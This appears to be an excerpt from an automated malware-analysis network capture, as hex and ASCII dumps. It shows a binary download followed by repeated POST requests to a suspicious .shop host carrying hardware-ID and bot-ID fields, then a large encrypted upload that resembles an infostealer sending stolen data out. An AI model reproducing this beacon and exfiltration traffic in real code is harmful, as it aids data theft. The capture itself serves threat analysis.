1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSREEFh
2024-05-24 11:43:37 UTC	16384	IN	Data Raw: 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 Data Ascii: H) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) sUSWV
2024-05-24 11:43:37 UTC	16384	IN	Data Raw: 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 34 83 f9 08 8b 7c 24 08 0f 83 b0 03 00 00 85 db 0f Data Ascii: D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$4\|$
2024-05-24 11:43:37 UTC	16384	IN	Data Raw: 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 3c 24 89 7c 24 08 8b 4b 08 89 0c 24 89 53 04 0f a4 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3<$\|$K$S
2024-05-24 11:43:37 UTC	16384	IN	Data Raw: 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 8b 10 83 e2 fe 83 e1 01 09 d1 89 4e 04 89 30 8b 4b Data Ascii: XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKNN0K
2024-05-24 11:43:37 UTC	16384	IN	Data Raw: c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 48 85 c0 0f 84 c2 09 00 00 80 60 04 fe 8b 4c 24 0c Data Ascii: rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$H`L$

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	63763	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:37 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5433 Host: employhabragaomlsp.shop
2024-05-24 11:43:37 UTC	5433	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:37 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=523ekaflra4ee96fdsvuvi1es0; expires=Tue, 17-Sep-2024 05:30:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lTqUkMv3PjzaTSnTJt6zoWty53gHCi47oJ22LUGw9rzcRB%2FSG5omhhCJPCXGdiDOdTk6Gfj1igR0Q4wneXdwmYyMOCOqvDvlaZKiGsP5KKq%2FmKAL%2Fqd7eJ%2FAleL%2BpMI1PLLbIEuDzxeSNg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d0770ef3c42f2-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	63764	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:38 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5433 Host: employhabragaomlsp.shop
2024-05-24 11:43:38 UTC	5433	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:38 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pr1vpkak4cpts668pkjscd1bsc; expires=Tue, 17-Sep-2024 05:30:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3sbJdyCfu%2BiK%2B%2FVU4MQCfKgCKCPppCMdBwFHY5c6cjuaE0qMz5qqAGhxagOVXcJ%2FO0SaRgKPCFcABu9wu44liyMB8buq5U13WJU1DTOoxXPjPtE%2B5Gxg9yo8qwlqDO2NOXqi%2BUhtk1SjLw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d0778686a0fa7-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	63765	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:38 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 574349 Host: employhabragaomlsp.shop
2024-05-24 11:43:38 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:38 UTC	15331	OUT	Data Raw: b6 5b 0b 56 45 1f 81 58 ca 4a e0 2f 61 4e e9 01 9c 71 17 60 2d 9f 02 1e 4c 17 98 a1 c3 62 cb ba 66 d4 56 eb 42 ac 87 ee 61 3a 80 95 1d 32 87 70 34 23 55 68 f2 ff b7 93 d2 0b 0b 12 57 65 e1 01 00 ef 23 34 ad 28 01 85 3e a0 05 b5 a8 cc 68 db 10 d9 04 1e 92 12 2a 33 5d 16 bf 35 fa 11 7a f8 85 bb 84 e4 f6 00 7b 1c fa 31 44 9d 5e 2c f4 6c 05 ac 12 34 49 d3 03 f8 5e 28 12 d2 83 a3 b0 44 8f 91 6a 5d 5c ae 4f 75 aa 76 c1 c9 1f f8 fe 08 39 74 5b 3c 85 35 df 37 7e ef 34 2f ed 23 29 ac 41 3c a7 db 03 fd 42 de 66 b4 4c 0a 4c b5 50 2a bb 1e d0 1e dc 61 6e 66 17 f2 39 3e b9 a3 e1 3d d3 11 a4 67 55 a3 ec 50 55 8f 7e a5 66 14 01 23 53 84 88 2e 53 8b b0 00 a5 cc 36 4c ee 65 b2 35 44 76 0a 01 e1 fc e1 c6 a4 5f e2 2e de f8 b3 a0 89 43 a7 2f 5d 2a e4 97 88 9d f7 6c ff 35 ec Data Ascii: [VEXJ/aNq`-LbfVBa:2p4#UhWe#4(>h3]5z{1D^,l4I^(Dj]\Ouv9t[<57~4/#)A<BfLLPanf9>=gUPU~f#S.S6Le5Dv_.C/]*l5
2024-05-24 11:43:38 UTC	15331	OUT	Data Raw: 75 54 15 78 9b 58 65 f5 c5 32 2b 84 be 09 cd 8a 4f ac b8 fb 41 93 7f 76 05 6a 00 01 b6 49 bd db 27 7c 3a 43 9d c3 42 82 53 19 91 17 07 93 16 5c 2c e0 e0 13 5a 04 df 84 79 6b 95 ca 84 6d cc 50 92 59 96 45 9c 01 9a 88 e2 3c 2e fa f6 b7 c2 6a 8d a4 87 0a d3 78 5c a9 fe e6 24 aa be b4 6c 53 7f 2e 29 8f e2 2d b8 53 bd 28 a1 ca 70 2b 91 4d 6f 35 27 7a e3 f2 4a b1 d2 5d f7 c3 3a 4a b3 97 f8 f4 8c 53 39 48 64 85 c3 48 72 4f de e5 ef 94 6f 6f 51 44 e0 9c ff dc 8f 1f 61 53 48 1e 9f 39 fb e1 cf 69 02 93 72 9d 8b 49 28 62 cb b3 ea de f5 66 59 e4 3d 75 5c 27 5a 84 7e 5f 6b 3c 25 86 aa 3d e2 d0 d6 ac 52 1f ba 8b 3d 92 ee ba 4a 1a 6d 40 8d 5d 00 d6 f1 54 c2 0c 61 59 e6 d7 7b e2 49 57 a7 19 a5 61 e5 27 76 d4 1c 38 69 28 9e 75 cf 97 a6 81 aa 31 89 09 b8 e4 b7 49 18 bb 50 Data Ascii: uTxXe2+OAvjI'\|:CBS\,ZykmPYE<.jx\$lS.)-S(p+Mo5'zJ]:JS9HdHrOooQDaSH9irI(bfY=u\'Z~_k<%=R=Jm@]TaY{IWa'v8i(u1IP
2024-05-24 11:43:38 UTC	15331	OUT	Data Raw: 17 f4 78 bc 60 2f e5 6e 2c a2 65 92 35 cd 22 46 c5 22 29 69 2b ae 39 b4 19 83 b2 15 ec 3b 25 cb 6b d5 47 40 ab 74 e8 ba 91 a2 c2 69 e3 ae f2 16 d7 72 1f 1d 34 b3 38 a9 20 c0 69 04 ef 01 bb 1a 98 fc 60 eb d0 5c 69 67 c7 bc 33 d2 c6 ee 7e 90 20 a5 65 59 b8 1a a6 0a 7e 97 da 0a 86 bb b7 03 d9 d6 dd 1f 91 a1 13 1a 66 f8 9c da 8a cd e4 4e 8b 31 85 c1 9d bb 4a dc 2f fe bc 30 a8 fa 75 0f 88 ff b8 cf 89 fb d6 b7 c3 e1 99 e0 86 d0 09 89 e5 cc 4d eb 57 a5 53 e1 df fe f9 fc 76 38 c4 62 1e de 2c 5b 1a 92 84 a7 49 2a 35 54 73 c3 7f b9 ab d2 60 d7 59 d1 fc 75 ad e4 a4 61 c9 53 c4 c6 b6 ba 8f 25 36 dc d2 a3 e9 07 a3 5d f7 cb 59 2a 58 0d 1d 65 07 2d 5f 76 38 b6 75 55 90 a4 81 c1 1b dd 9e 79 75 b3 60 3d 68 b3 52 d2 60 0a 5b ba 16 96 d8 5e f2 ed 86 b8 c4 e7 6f e9 c5 a5 f9 Data Ascii: x`/n,e5"F")i+9;%kG@tir48 i`\ig3~ eY~fN1J/0uMWSv8b,[I5Ts`YuaS%6]YXe-_v8uUyu`=hR`[^o
2024-05-24 11:43:38 UTC	15331	OUT	Data Raw: 39 f8 30 33 ef 7e fa e7 86 3b 9f b1 0e a2 d8 3c ca 97 fb 52 ec 65 fa c6 6d 79 a0 72 07 54 37 26 28 f7 6c 6d 92 0d ee b4 67 a1 a0 e4 a6 82 56 2c e0 d3 44 8a 4a cc ac 18 17 ef 2f b9 2a 4e 78 24 7c f5 33 99 07 a6 c9 6b 2f 06 13 3c 11 ea 9f 00 37 19 e4 9c 9e ca fd b3 fb ac 48 71 ee d5 95 22 c7 7c ec c6 d4 7a e9 0a 57 a7 a9 43 6f 5b 05 92 4d 1c 98 e0 6e 78 5b 4c 51 3a d7 0c df 7a 83 f4 99 5a 95 c9 50 c4 64 99 d4 1b 30 15 98 1b cb 09 52 5b 63 e6 59 ad 9a 51 77 63 d9 77 ee 2b fc 07 e9 81 02 a2 27 f7 fb f1 87 3e e9 7a 1b 33 47 45 a1 1d cf b3 8a 05 0e e7 b1 37 56 5e 79 27 fe 6d b0 c5 9a 00 73 0c 14 8d 66 a1 b8 6e 10 23 50 8f a4 f8 c1 df af 46 94 38 a5 4b c6 04 c7 72 e1 23 d9 d8 c8 79 a3 6a 10 e4 a4 d4 c8 0b 33 05 96 4a 34 2d 28 38 b0 6c a6 9c af 55 f3 c2 4d 4b 39 Data Ascii: 903~;<RemyrT7&(lmgV,DJ/*Nx$\|3k/<7Hq"\|zWCo[Mnx[LQ:zZPd0R[cYQwcw+'>z3GE7V^y'msfn#PF8Kr#yj3J4-(8lUMK9
2024-05-24 11:43:38 UTC	15331	OUT	Data Raw: ef fc 4d ff 46 62 ae 56 de 5e bf fe 1f 6e 38 45 05 3d 6c ef 8a 29 c6 ee d2 60 bb e4 ab 34 12 be 6f 11 42 29 c7 c7 d7 fe 68 5f 0a d9 bf cd 38 a3 f0 99 67 c1 50 1d 7c 74 37 86 ae e1 0f bf 5d 6a 7e 12 0e 56 ab 17 b2 5a 1d 28 1c 55 7d 33 96 d8 a1 21 0f 08 20 4f e4 c9 d1 60 cf 74 a0 01 de d5 6e 68 c8 a1 48 85 4b eb 73 a2 1f 30 4f 4f 1b ae 1c 1c f8 87 b0 ae 96 e8 3a 2e a5 6a 16 bd 5a 79 98 1b 1a 6a 95 7e ea 7d a4 cc b7 6d 80 bc fc 4d 68 95 3d fc 4c ef 3b f5 1b 35 57 6e d0 bd 16 83 85 63 07 df 76 0c be bc 1c 19 a2 d4 b5 f9 42 9b 23 f9 45 6e bd 50 83 9c d6 d6 1f 9d 74 ba 02 37 5b a5 f0 5e 70 1e 27 c0 65 3f 3f ef 51 62 6f e7 ae fc f6 3b a5 07 84 92 c8 69 d9 b7 da f9 00 af 01 e3 1f 3e 10 c7 91 80 85 e4 80 ed ff dd 48 73 63 40 9d 09 68 bd a4 f9 dd 28 58 5b c8 7d 17 Data Ascii: MFbV^n8E=l)`4oB)h_8gP\|t7]j~VZ(U}3! O`tnhHKs0OO:.jZyj~}mMh=L;5WncvB#EnPt7[^p'e??Qbo;i>Hsc@h(X[}
2024-05-24 11:43:38 UTC	15331	OUT	Data Raw: e4 1d 35 61 4b 78 f7 2d 61 f1 ab 17 f1 c3 48 08 5e 0a d5 9e 8b 37 f3 1e f8 fd 1d dc 6e 1a 73 69 5a cd 2c b4 50 60 d8 20 3c 54 2d 26 90 4f 6d 3d c1 57 4e 50 7f 2f b3 26 5a 3d cf f8 b1 86 00 ba 1b 1a 80 c6 de 63 6d e4 53 c2 f4 ed 78 0c b3 52 f3 a0 cd 61 bd be 77 a4 38 0f 7b 94 7e 5f ad d6 1a 69 7a e7 aa 42 9e a6 f0 40 96 ee ec f9 ee ac 05 5a ff 94 d4 7d 47 10 b3 48 fc 37 84 7a 9b f3 aa 05 a5 ab c2 de d6 41 c1 ee 6c 68 1a da ed ca 1a ed 9c b8 9c fa 79 df 26 51 ce a1 fd 65 38 8e 58 16 cc 61 4d 39 c4 6b b1 b6 d8 0e ac 17 d9 8b b1 38 75 40 7a db ef ff d2 f2 15 70 1f 7e 94 f7 0b 90 a5 e9 cc 6d 5f ab fa 6d b1 8a bb c1 bc c0 c9 0b a9 97 01 9b cf 26 56 be db 65 24 7f f6 b1 d8 05 d6 0b f9 d3 2f 38 a9 29 a1 3f 56 2e f5 73 43 60 63 da 86 73 21 93 00 8e 6a bb 40 e4 0e Data Ascii: 5aKx-aH^7nsiZ,P` <T-&Om=WNP/&Z=cmSxRaw8{~_izB@Z}GH7zAlhy&Qe8XaM9k8u@zp~m_m&Ve$/8)?V.sC`cs!j@
2024-05-24 11:43:38 UTC	15331	OUT	Data Raw: b2 76 12 94 bd 26 69 5e 7e 61 2c 1a 94 b9 d5 e3 bd e9 c7 d2 4a da a2 d5 6b fe 1a ab ed 48 6c 8c 18 69 72 5f f6 0f 23 6c c4 7a 30 cf e2 be 66 7f 17 46 bf ef f6 f8 6c e1 bd 43 8f a6 79 06 dd 1a 83 e1 2a e4 77 2b 2b bb f4 df f0 00 22 e1 a3 f2 52 c0 1d 56 10 fa 73 3e 3b 78 5f fc a5 a1 69 0f ef cd 7f c2 82 c2 56 7e 79 5f d8 36 a8 1a 4d 3c fa b5 2b 3a 6b 69 5f 96 b5 c9 cb 81 c3 d6 df fa 2d c6 27 0f af ac 40 46 67 fc 16 2a dd d7 d4 3c c3 bc 3f 49 ad cd a9 1f 58 d9 59 28 ba bf 52 d6 47 ac ab de da 21 38 ee b5 8e 3e 09 55 2c b2 c6 1c ac cb 67 23 09 db a7 9d db d8 46 03 59 fb 89 3e ab 8b b9 5d 79 2c 3e d9 df cf 88 04 47 04 c0 06 51 ba 0c 0d 37 c8 cb b9 ad 15 b5 db d8 a6 d1 1a c6 89 a0 8d 64 c8 9e 77 50 2e e3 0b b6 9a 38 4c 7c 88 f4 09 aa 7e 82 dd fd c5 07 7e 87 fd Data Ascii: v&i^~a,JkHlir_#lz0fFlCyw++"RVs>;x_iV~y_6M<+:ki_-'@Fg<?IXY(RG!8>U,g#FY>]y,>GQ7dwP.8L\|~~
2024-05-24 11:43:38 UTC	15331	OUT	Data Raw: 22 ec 50 ee bf 38 30 09 08 d5 cd 3d f6 7b cd 5f 4f c3 77 06 37 f7 a4 9e ec b3 c0 3f d0 10 e4 a6 0a 41 79 ed 28 ba df c6 2e eb ab 3d 90 8b 0b 80 81 35 d6 ff 86 92 aa 24 e8 ef 6d e9 f7 b7 87 8d 56 ba 68 fd ef b8 07 32 11 e0 6f 0e 55 99 a0 21 9c 9f 70 c9 7e d2 93 7e 51 28 25 e4 a0 c2 3c cf 67 0f 08 ea db 22 0e 87 43 75 52 5e 69 e9 70 1d e1 3b fb 22 d6 de ea ec bd 8b 1d 2a 58 28 4e a9 39 9a 9f ba 50 73 bc e8 a3 0c d0 5e 00 8b 5e ae ab 9c b9 48 e2 2f a6 0e 84 df d3 80 51 92 e4 6a 1d c4 a1 db 41 f0 0a 59 a0 12 9c 6d 2f 08 a0 3b 47 18 8a 60 91 1b de a7 ed 12 4b 52 81 de 16 81 74 4a 46 f3 83 93 73 c8 81 e3 eb 52 d7 eb 8f ed 4b f1 fe bb b3 06 02 e7 40 01 0e 3b c2 c5 fe 7d 18 24 ac 4c 16 34 3f c6 fb e4 b1 97 95 50 90 c5 68 dd c3 68 74 8a c2 f1 76 aa 8b e4 dc c1 29 Data Ascii: "P80={_Ow7?Ay(.=5$mVh2oU!p~~Q(%<g"CuR^ip;"*X(N9Ps^^H/QjAYm/;G`KRtJFsRK@;}$L4?Phhtv)
2024-05-24 11:43:38 UTC	15331	OUT	Data Raw: 18 62 1d 81 4c 98 17 10 5e fa e4 f1 01 c9 72 e7 27 de 32 39 77 0a 88 ab fc 7b 4e f9 42 77 7a 32 09 18 89 c6 68 c8 4a 7b e3 c7 03 d1 fc 9f ff cb 27 a6 82 d4 6f ae a6 26 ed b0 a4 cf 11 81 b7 df d4 65 ee 2f 50 6b e0 50 b0 a6 68 5f 61 fb 5f 91 dc 2b e7 fc dc 78 b0 5c 08 8c 16 d8 6e 3b ae 5e 79 a6 f8 76 c0 fc 5c 96 d0 bf 53 d8 eb 2b dd c2 59 7f 1a 06 73 7e ad 07 49 81 a8 24 40 a4 0f 25 10 a2 ec ed 08 f6 91 a9 7b 0d d8 b9 55 a2 ed 24 2a 21 72 e5 24 74 4b fd d3 62 8c 94 c1 0e 37 73 a8 38 a2 7c 3f fd e3 74 f5 a1 58 2a 9a 48 74 89 a6 93 e0 f4 99 a2 ea dd 64 7a 47 ca c7 da ff 47 e5 00 d8 8b ed 1e 6d 96 01 e8 c9 fc fa d9 6a 2e f8 e6 24 3e b3 44 9b 93 3d 78 0c 1d 2f d7 76 24 de 45 40 4f 97 d6 99 b1 6f b5 20 3a 40 70 72 77 8d 43 89 df d7 4b 6a 39 f9 56 f2 7f 52 a6 77 Data Ascii: bL^r'29w{NBwz2hJ{'o&e/PkPh_a_+x\n;^yv\S+Ys~I$@%{U$!r$tKb7s8\|?tXHtdzGGmj.$>D=x/v$E@Oo :@prwCKj9VRw
